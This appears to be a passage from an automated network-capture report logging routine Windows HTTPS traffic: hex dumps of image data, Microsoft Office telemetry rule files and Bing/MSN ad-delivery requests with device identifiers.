Ascii: JFIFHHExifMM*bj(1r2i``Adobe Photoshop 25.2 (Windows)2023:12:29 13:12:218C
2024-11-23 18:52:25 UTC	16384	IN	Data Raw: 79 b6 87 e3 1b 1d 12 c6 6b 7b af 1f 7f 6a 7f cb 5f 3a e2 75 66 da 7f 87 f3 a7 dd 7c 50 d0 d7 47 f3 23 d6 bc d5 8a e5 63 fb 3f f1 73 fc 4b f8 d3 7a 01 e9 36 36 2d a9 c9 ff 00 13 af 32 f2 cd 51 96 5f 3b 6a af 3f c2 b9 eb 51 2c 96 de 15 b1 fb 1e 87 e1 af 2a de e3 6a fc ef f2 ed 46 f6 e9 5e 57 e2 ef 8b fa 52 c9 69 1d 8d dc f7 91 db db ac ae 8f f2 fc de 8e 2b 89 d6 3e 2c ea ad 27 99 a7 c7 3d bb 7f 03 cd 74 cc a9 ff 00 00 e9 42 bb e8 23 ea 68 75 85 4b 19 be d5 e5 aa aa 7c 90 a3 fc ce d5 83 27 8d ff 00 b3 60 75 b8 f3 e5 ba b8 fd d7 93 0e ed b0 d7 cb da 5f c5 4f 1c 3c 8f 1d e5 fc 7a 94 db db e7 b8 8d 76 fd 38 c7 4a ea 6d f5 ff 00 89 ba 8d ab 43 ff 00 08 f5 ad e5 ac e9 f2 79 2f 1f c9 ff 00 02 dd 9a 52 ba 19 ee b6 fe 2a d4 5e f9 23 fe d2 b5 fd d7 ca f6 9e 7e e6 7f Data Ascii: yk{j_:uf\|PG#c?sKz66-2Q_;j?Q,jF^WRi+>,'=tB#huK\|'`u_O<zv8JmCy/R^#~
2024-11-23 18:52:25 UTC	16384	IN	Data Raw: cf 75 6e df 2b 24 37 70 79 ab f8 32 f3 59 1a 0e 81 e2 1b 7b af 32 6d 49 2e b7 3e ed 90 f9 90 6f 6d de fc 7d 6b ab 9b 4e f1 2d bc f3 5c 47 24 12 d9 b2 2a db db db cf 22 b2 37 f7 98 b7 f0 d6 a2 e9 51 5c 46 9f 6a b4 9d 7c df 99 f6 5d 7c af fe 14 72 81 97 79 a8 4f 61 1a 49 a8 58 49 14 2b f2 bc c9 b5 97 f1 f6 a9 2f b5 48 27 d1 d1 63 78 f6 cb 32 f9 3f 69 4f 97 68 ea 06 47 7a db 6f 0f 24 b0 32 e9 f3 c9 bb fd bf de fc d5 ce c9 fd a1 a6 cf e6 5c 58 6d 85 a6 ff 00 5d 0a 37 94 ff 00 c3 f7 7a 54 4a 36 dc 7b 15 b5 ed 03 4c 93 c3 17 7a 85 ad 8a 5b df 5b ba cb e4 e9 df f2 d9 59 be 6f dd f4 fc a9 da 0e a0 b1 48 f0 ad 84 f6 ed 6b f3 3b a4 fb a2 46 f4 63 5a d6 61 a5 91 26 5b 48 ed e3 64 66 fd f7 cb f9 0f 7a d5 8f c2 0d ac da cc b6 b7 f1 cb 37 dd 47 df b5 9d 7d dd 69 a0 46 Data Ascii: un+$7py2Y{2mI.>om}kN-\G$*"7Q\Fj\|]\|ryOaIXI+/H'cx2?iOhGzo$2\Xm]7zTJ6{Lz[[YoHk;FcZa&[Hdfz7G}iF
2024-11-23 18:52:25 UTC	16384	IN	Data Raw: 00 2a 4c f0 6e d8 a7 ef 2e 49 a4 ea 49 74 03 e9 7b a4 d6 52 34 fb 56 b5 a5 37 da 36 aa 69 ce 9b 5b 70 6f bd e6 e7 3b bf 0e 2a dd bd ec 4d a1 bb 79 91 d8 5c 44 9b 7c 99 9d 65 f9 bf d8 2f d6 be 59 be fd a0 75 c9 6f b7 4d 61 6b 16 d4 f2 b7 a4 0a db 17 f1 35 6b 4d f8 a5 aa de c6 97 4b 24 12 b3 23 6c 77 45 ac dd 66 ba 15 ca 7d 0d 79 e3 ad 37 43 8d e6 4b f9 3c cb 8f be 89 06 ed 9b 7f d8 e9 cd 60 ea 5f 19 a5 96 49 bf b2 6c 20 6b ad 9b 5e 6f 99 76 7d 45 78 f5 d7 c5 45 96 3f b1 df 58 47 6f 33 7d c7 d8 df 3d 55 87 5d 55 9f cc 5b b9 1e 19 7f d7 26 c5 55 fd 3b 56 6e ad 4b 6c 52 8a 37 75 cf 1f f8 ab 54 92 e2 d5 b5 99 ed 6d e5 7d cf f6 4f 95 7d f9 ae 52 eb ec d6 b2 3c d3 6a 52 4b 79 2b ee fb 44 df bd 67 6e fb 41 ed 52 ea d0 35 ed f2 c9 0c 9f e8 f1 7c bb 12 4d ab b7 e8 Data Ascii: Ln.IIt{R4V76i[po;My\D\|e/YuoMak5kMK$#lwEf}y7CK<`_Il k^ov}ExE?XGo3}=U]U[&U;VnKlR7uTm}O}R<jRKy+DgnAR5\|M
2024-11-23 18:52:25 UTC	16384	IN	Data Raw: 4a 48 b4 9d 59 37 5a 7d a3 e6 8a 19 07 cc 13 e8 7b 1a bd 71 e1 15 d2 3c 4d fd a6 b6 91 e8 6b 3a 34 7f 69 f3 da 5d 2a f1 59 7e 68 de 55 cf 97 fe 72 2b 1f e1 cf 8a 3f e1 1d d6 2e 3c 0d e2 bf dd 69 f2 79 91 45 2e f5 6d 8a ff 00 77 6b 74 db dc 30 ae 88 b3 3d 7a 9b 5e 20 9e 79 74 37 d4 a1 b0 db 79 a4 ff 00 ae 4f f9 e2 bf c7 fe f2 1f d2 b5 3e d1 6d a8 e8 ff 00 6c 54 91 b4 fb 8f 96 e1 d3 6f c8 df de 1f 43 55 b2 da 6e b9 fd 8b 79 fe 95 78 a8 d2 e9 d7 09 1f cb a9 db 8f e0 3f ed 55 0b 57 fe c3 be 76 b5 82 75 f0 ee a4 fe 56 c4 da cd 65 31 eb 1b 83 f7 7d a9 dc 77 b1 4f e2 36 93 73 ab c9 15 d5 bb c7 fd b5 a0 db 7e f5 d3 ee ea 16 eb fc 6b fe d0 ef 51 69 fa fc bf d9 50 dd 58 c7 1b 7d a1 3c ab 88 66 4f 97 d3 f9 71 5a fe 28 b0 d5 74 db eb 7f 3a e3 6c 71 3e eb 1b 87 4d db Data Ascii: JHY7Z}{q<Mk:4i]*Y~hUr+?.<iyE.mwkt0=z^ yt7yO>mlToCUnyx?UWvuVe1}wO6s~kQiPX}<fOqZ(t:lq>M
2024-11-23 18:52:25 UTC	16384	IN	Data Raw: 7f 2e cf f8 15 58 d8 b1 41 e5 f9 9f 35 43 66 93 dc 48 ec bf 79 7f e0 35 25 29 10 d9 da 2c f3 3e ea b1 71 12 a4 7e 5c 92 49 ba a6 9a 56 82 07 5f 2f 6a b6 d5 aa f7 1b 52 44 59 3f de 7f ef 54 35 63 42 36 85 7c 89 bf d1 23 f3 9b ee 3d 36 ce ca 26 49 ae a4 f9 76 7d cd 94 48 25 68 d2 de 39 24 f9 be fb ff 00 b3 5a b7 05 5b c9 58 e0 f2 a3 89 3e 7d 9f ce 84 ae 06 43 06 49 3f ba b4 eb ab 39 e0 d3 5e 6f 33 fd a7 4a d7 8c 2a c8 9e 5c 7b a3 57 dc ef 55 3c 51 22 f8 83 55 87 47 d3 ff 00 75 6e bb 5a e2 54 4f b8 b4 30 39 7d 1a ce 7d 4a f9 b5 4b 8f dd db ab fd f7 ad 8f 31 5a 74 55 f9 63 5a d5 92 27 96 48 74 cb 38 11 e3 54 db 12 7d da cc d5 b4 f9 52 44 87 cc 93 cc 97 e6 7f f7 45 44 a5 76 04 76 a5 ae ae bf 77 1f ee d6 b4 ac 59 a3 9b c9 8e 38 f6 b3 fc fb d3 e6 aa 3e 44 f6 bb Data Ascii: .XA5CfHy5%),>q~\IV_/jRDY?T5cB6\|#=6&Iv}H%h9$Z[X>}CI?9^o3J*\{WU<Q"UGunZTO09}}JK1ZtUcZ'Ht8T}RDEDvvwY8>D
2024-11-23 18:52:25 UTC	16384	IN	Data Raw: ca d9 73 f3 32 29 fe 07 5f ee 9a 34 5d 22 e7 55 be 7f 0f db cf 1f 9d a1 dc 47 7d a3 3d c7 cd e4 f6 7b 6d ff 00 c5 19 5f cb bd 6c e8 3e 36 d3 e0 d4 a6 d1 6f 24 b1 5b eb 3f dc 79 db 36 ef 5d bf 28 75 6f bd 95 ae 6f c7 da e3 78 7f c6 16 37 96 b2 41 14 7a a3 ff 00 a9 77 dd b2 4d bf f2 cd b8 e1 a9 ea c5 a1 e8 1f d9 11 5c 5f 43 79 70 92 5a cd 6a 9e 55 c2 3b ed 64 5e dc 8f e1 1d 9a b9 69 3c 17 6d a4 fc 5b d2 75 ef 0f bc 9a 6c d7 13 4c ba ba 24 fe 6c 17 31 f9 7f 7b 69 fe 33 49 7d f1 02 21 a5 5b dd 6a de 64 4a ae ab e7 27 de 46 7e cf fe c9 ae 3f c4 5e 2d 82 5f 1c 5b e8 ed 24 f6 17 17 f6 92 7d 85 df e6 89 24 1d 19 5b f8 94 d2 8c 67 7d 47 cd 13 d6 6e 34 fd 2b 4b d5 66 ba 92 ed 2e 34 9b a7 6f b4 27 f7 18 ad 56 b8 16 be 1f be 85 ad ee fe df 63 75 b9 62 d9 b7 6e ef e1 Data Ascii: s2)_4]"UG}={m_l>6o$[?y6](uoox7AzwM\_CypZjU;d^i<m[ulL$l1{i3I}![jdJ'F~?^-_[$}$[g}Gn4+Kf.4o'Vcubn
2024-11-23 18:52:25 UTC	16069	IN	Data Raw: 74 98 e4 8d 7e d0 ea ce ff 00 7b e5 a7 d0 92 f7 86 f5 48 2d 7c 47 7d 71 ab 5a 48 b0 cb 36 eb 17 4f 9b 7b 16 c7 cf 5d 3c 77 16 71 6b 9e 74 d3 ed f2 ad e4 67 44 fe f6 ea c1 86 3b 5b 3f 26 18 fc cf 2e 2f f3 9a a9 a2 c8 af 03 f9 92 6e 93 c9 dc 9b ff 00 8f 2d 48 6c d0 d1 65 82 e3 43 d4 2f 2d e7 4f 3a 57 92 04 fe 94 57 35 e1 f9 5a de 7b e8 57 fd 4a cc ac e8 9f 7b 8a 29 5c 67 d4 7a 6e ab 6a bb f4 fb ab 4b ab 09 9b e6 4b 47 fd ee cf f6 ad df a4 8b ea 2a d6 8f a7 25 ad 8b c9 a7 c7 1a c7 2b ee 74 44 fd c3 b7 b2 75 8d bf dd ae 4e 1d 6f ed 1e 19 b7 fb 0e 9b 06 b9 63 6f 76 bf da 29 b1 a2 97 4f ff 00 a6 8f 17 de 89 87 f7 93 8a ea 6d 7e dc d7 5e 5f 97 1e a9 6f f7 b7 f9 ff 00 e9 50 fb 82 bc 4d f5 fb f5 f1 92 56 3d 8b dc e8 74 7d 52 e6 ce 37 86 68 e4 b7 69 7e 6f 9d f7 2b Data Ascii: t~{H-\|G}qZH6O{]<wqktgD;[?&./n-HleC/-O:WW5Z{WJ{)\gznjKKG*%+tDuNocov)Om~^_oPMV=t}R7hi~o+
2024-11-23 18:52:25 UTC	16384	IN	Data Raw: e2 2d 53 47 99 ac f4 2b 1b 5f 22 6f b6 4d 71 63 b9 7f 78 3a 1d ac 7e f6 2b b1 d3 7e 27 ef 8e de 49 27 91 a4 ba b7 6b 6b e7 7f 95 b8 ff 00 56 f8 f6 cf 5a 97 1b a2 ae 77 10 f8 4d 74 19 ff 00 b4 af af ed 5b 4d b7 dc d7 76 96 f2 32 f9 39 fe 28 c7 f1 27 b7 f0 f6 ae e7 c3 e7 c1 89 6a 9a a6 97 f6 55 99 53 e4 bb d9 b9 5d 47 f7 eb c1 b4 df 88 9a 86 a1 a5 3e dd 76 79 6e 3e c9 b9 37 ed 5d 92 47 f7 d3 d4 a9 15 45 be 23 6a 1a 4e b9 0c 3a 7d 8c 10 2d c2 47 73 b1 dd be 75 ff 00 60 ff 00 bd fa 71 58 ca 9b 7d 47 19 24 7b 67 8b af bc 2f e3 79 ed e3 d6 b4 d9 ed 75 0f f5 56 9a b5 bb f9 4c ff 00 ec ac c3 8f fb ee b9 ff 00 1b 78 37 5e ba b5 45 d3 75 a9 35 2f 29 e3 9d f6 6d 83 55 b6 91 3f 89 51 b8 93 2b d7 1d 6b 03 52 f1 f6 9f a8 ea 56 9a 6d f5 a6 9b 66 d7 09 1c b7 da 74 df ea Data Ascii: -SG+_"oMqcx:~+~'I'kkVZwMt[Mv29('jUS]G>vyn>7]GE#jN:}-Gsu`qX}G${g/yuVLx7^Eu5/)mU?Q+kRVmft
2024-11-23 18:52:25 UTC	16384	IN	Data Raw: 0a d4 d0 ef e5 d4 a7 b7 69 20 db 32 ed df fe de 17 93 5b be 26 f0 db 69 1e 23 bb b1 bc 8e 3d 37 56 8b e5 f3 93 e6 82 e5 87 4f cf d6 b1 35 27 fe cb fb 3d f7 97 bd 95 f7 79 3f cf 1d eb d8 d1 ae 64 71 a3 61 ad fc dd 63 ed 4b 1f 95 22 42 db 3f fd 55 47 c3 e6 db 51 ba d4 3f e5 95 d3 6d 89 e1 fe fe 3f ba 6a 6b 5f 11 e9 f7 f2 23 2c 73 db b2 fd c7 f9 7e e9 ab 1a 59 d3 db ed 16 b3 47 b2 4d eb 2a 6c f9 5b ee f3 4a f7 19 cc f8 c2 39 67 be 86 6f 23 e6 b5 da bb 3f f1 ea d7 6d 2b 4f 5f b2 5a c3 fe b2 e1 37 7f b2 99 e5 bf 2a 2f 02 dc 78 8e de d6 fa ef fd 6c df c7 b7 6f fc 0b de ba 1b 58 e2 7f 11 a5 af 97 1c b0 ad bb 2a 3a 7d df bd 9e 28 e5 2b 63 9d d5 34 e5 f3 d2 de e2 79 e5 8f 67 ee 7e 4f ee b7 15 4f c4 96 ed 16 94 ed 6b 27 9a df dc 7f ef 76 ae e2 cc d9 bc ed 37 d9 f7 Data Ascii: i 2[&i#=7VO5'=y?dqacK"B?UGQ?m?jk_#,s~YGMl[J9go#?m+O_Z7/xloX*:}(+c4yg~OOk'v7

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.6	49743	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 18:52:24 UTC	192	OUT	GET /rules/rule120620v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 18:52:25 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 18:52:24 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA701121" x-ms-request-id: 000c37a0-d01e-002b-0920-3d25fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T185224Z-178bfbc474bq2pr7hC1NYCkfgg0000000500000000009ww7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 18:52:25 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120620" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.6	49748	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 18:52:24 UTC	192	OUT	GET /rules/rule120624v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 18:52:25 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 18:52:24 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB7010D66" x-ms-request-id: df770720-601e-0002-4a47-3ca786000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T185224Z-178bfbc474bh5zbqhC1NYCkdug00000004r000000000h1g0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 18:52:25 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120624" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.6	49745	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 18:52:24 UTC	192	OUT	GET /rules/rule120622v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 18:52:25 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 18:52:24 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8CEAC16" x-ms-request-id: 44207c53-001e-0079-37ad-3b12e8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T185224Z-15b8b599d882zv28hC1TEBdchn000000035g00000000dr1v x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 18:52:25 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120622" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.6	49747	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 18:52:24 UTC	192	OUT	GET /rules/rule120623v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 18:52:25 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 18:52:24 GMT Content-Type: text/xml Content-Length: 464 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97FB6C3C" x-ms-request-id: d05e48d4-001e-0065-1c06-3d0b73000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T185224Z-178bfbc474bv587zhC1NYCny5w00000004pg00000000g2u9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 18:52:25 UTC	464	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 49 69 5d 5b 47 67 5d 5b 41 61 5d 5b 42 62 5d 5b 59 79 5d 5b 54 74 5d 5b 45 65 5d 20 5b 54 74 5d 5b 45 65 5d 5b 43 63 5d 5b 48 68 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 47 67 5d 5b 59 79 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120623" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <SR T="2" R="([Gg][Ii][Gg][Aa][Bb][Yy][Tt][Ee] [Tt][Ee][Cc][Hh][Nn][Oo][Ll][Oo][Gg][Yy])"> <S T="1" F="1" M="Ignor

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.6	49750	150.171.27.10	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 18:52:25 UTC	370	OUT	GET /neg/0?action=emptycreativeimpression&adUnitId=11730597&publisherId=251978541&rid=d21e0fe109894e1f8ee1ff8f4a7c9aca&localId=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&deviceId=6966555320912735&anid=DA18C8825356BAC4E7B23066FFFFFFFF HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: g.bing.com Connection: Keep-Alive
2024-11-23 18:52:26 UTC	862	IN	HTTP/1.1 204 No Content Cache-Control: no-cache, must-revalidate Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Set-Cookie: MUID=0BCC44D772F664AB2B1A519773DF6574; domain=.bing.com; expires=Thu, 18-Dec-2025 18:52:25 GMT; path=/; SameSite=None; Secure; Priority=High; Set-Cookie: MR=0; domain=g.bing.com; expires=Sat, 30-Nov-2024 18:52:25 GMT; path=/; SameSite=None; Secure; Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * X-Cache: CONFIG_NOCACHE Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: 4854D3D0DEFA449C9A150FC93A2B5B16 Ref B: EWR30EDGE0212 Ref C: 2024-11-23T18:52:25Z Date: Sat, 23 Nov 2024 18:52:25 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.6	49749	20.199.58.43	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 18:52:25 UTC	2591	OUT	GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=88000045&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&ctry=CH&time=20241123T185221Z&lc=en-CH&pl=en-CH,en-GB&idtp=mid&uid=d215e385-cdc6-4502-a974-fb4c5f95db96&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=088b76138e214108b454d6eea0200e31&ctmode=MultiSession&arch=x64&betaedgever=0.0.0.0&canedgever=0.0.0.0&cdm=1&cdmver=10.0.19041.1023&devedgever=0.0.0.0&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.19045.2006&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=598354&metered=false&nettype=ethernet&npid=sc-88000045&oemName=jqumta%2C%20Inc.&oemid=Public&ossku=Professional&scmid=Public&smBiosDm=jqumta20%2C1&stabedgever=117.0.2045.55&svcmpt=Red&svgtng=2&svtmexp=1699747200&svtmupd=1696486876&tl=2&tsu=598354&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1& [TRUNCATED] Accept-Encoding: gzip, deflate X-SDK-CACHE: chs=0&imp=0&chf=0&ds=50543&fs=23594&sc=6 X-SDK-HW-TOKEN: t=EwDoAppeBAAUGoFunEzxzyai/T0i5tnZAAR1eX0AAVML5NBX5yFRq5mcK3NbYUCsh5TFa+v5IN1XJd+u2UJxckxlo16DWeoSgyj0wgVwXaYZeLHdNB5Kbxfgs3hw3Q0xHlwupXZIgt0xNa+FHs8w3r9VHk3aV9tCqgd1jYFsozRSTR903eAleBlEl2YOFl9YzTmuEUi8iQYRCBgy2ei0WVsW7VkzW7jfn9xn1RkHiefcmqCMuHdHuwF94YVCMiWkZ6p1mfgJASkcjTFfvVk18iyE3D9dsqhe7er6fw+QElQKCHu8ij4DSuGFln4i+gfq0iflGsg70j92xdo4CoMr4uiOiXKSyx634fr0qbWIdrHayJPi+EEofBJsibhB5zYQZgAAENjrRDee3qR4LBvPiqZNkrawAUbp/pca9AgLPrCg9vz83L6Lxzoc/SoqfaT71YKxQk0cVpHshFQagQ4nAHXTRgTPMXGurthZE+zBNhgesGvh00zxoB447y4jVipHRXq+SJsuldiNYD5Yyro0A8bCT5zH59hqeja3TiTzVfUCaP1PQewCY1oPu3m2/g2RWTIM/U3CMkbq2l/Zi51JUGQ24ItmaTJWlvWBaxQXx/PcFoHn18I0aVp269ft5gB977Pnj6U6Pu41jzVxAVpiWEImcsFbKGX/yv7dHdkQ3i/iI7gjpDoE7uHUmFY0PwzlVOIMb6DVBSQ+RVKnIWgz4v467ZzmIuGBQmFLxb3DQP0+ojqlTy5+XxBM7I/la+jZ0Fj3GgWFFrL1DJyzVVbGKCiHtZzAmd2Kp+cXi/v9RojqyftCkG9y3UFcJOpLK+E3hvQVKY0arCIpEsn979yIugln/O7di7vmfuROsdAKdkKmquCMwYMi3yayTL2pH4YjrSeJ/FQr8K4G0iwPoagNO+gEtv2AuVSPkAIsCa0U3ZIZ7rSwsmFc+nGGlMTwEzgSOpqnazgbvuHJIZ7KI4KmB3bsKO/kINcB&p= Cache-Control: no-cache MS-CV: P6KLV1kcKE6sIa9C.0 User-Agent: WindowsShellClient/9.0.40929.0 (Windows) X-SDK-HWF: arm0,arm640,ble0,cmb0,cmf0,cmr0,dcb1,dcc1,dx91,dxa1,dxb1,gyr0,hce0,hdc0,hov0,hsa0,hss1,kbd1,m041,m060,m080,m120,m160,m200,m301,m751,mA01,mct0,mgn0,mic0,mrc0,mse1,mT01,nfc0,rs10,rs20,rs30,rs40,rs50,rs60,tch0,tel0,v010,v020,v040,x641,x860,x86a640,xbd0,xbo0,xbs0,xbx0,xgp0 Host: arc.msn.com Connection: Keep-Alive
